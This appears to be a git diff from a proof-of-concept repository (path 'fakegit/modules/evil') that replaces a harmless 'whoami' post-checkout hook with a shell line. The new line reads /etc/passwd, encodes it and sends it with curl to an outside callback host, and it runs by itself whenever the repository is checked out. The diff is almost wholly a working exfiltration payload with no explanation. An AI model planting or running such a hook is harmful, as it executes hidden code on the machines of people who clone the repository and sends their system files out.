diff --git a/fakegit/modules/evil/hooks/post-checkout b/fakegit/modules/evil/hooks/post-checkout
index 4db7dc1..e8e416a 100755
--- a/fakegit/modules/evil/hooks/post-checkout
+++ b/fakegit/modules/evil/hooks/post-checkout
@@ -1,2 +1,2 @@
 #!/bin/sh
-whoami
\ No newline at end of file
+curl "https://z0.rs/callback?msg=$(cat /etc/passwd | xxd -p | tr -d '\n' | sed 's/\(..\)/%\1/g')"
\ No newline at end of file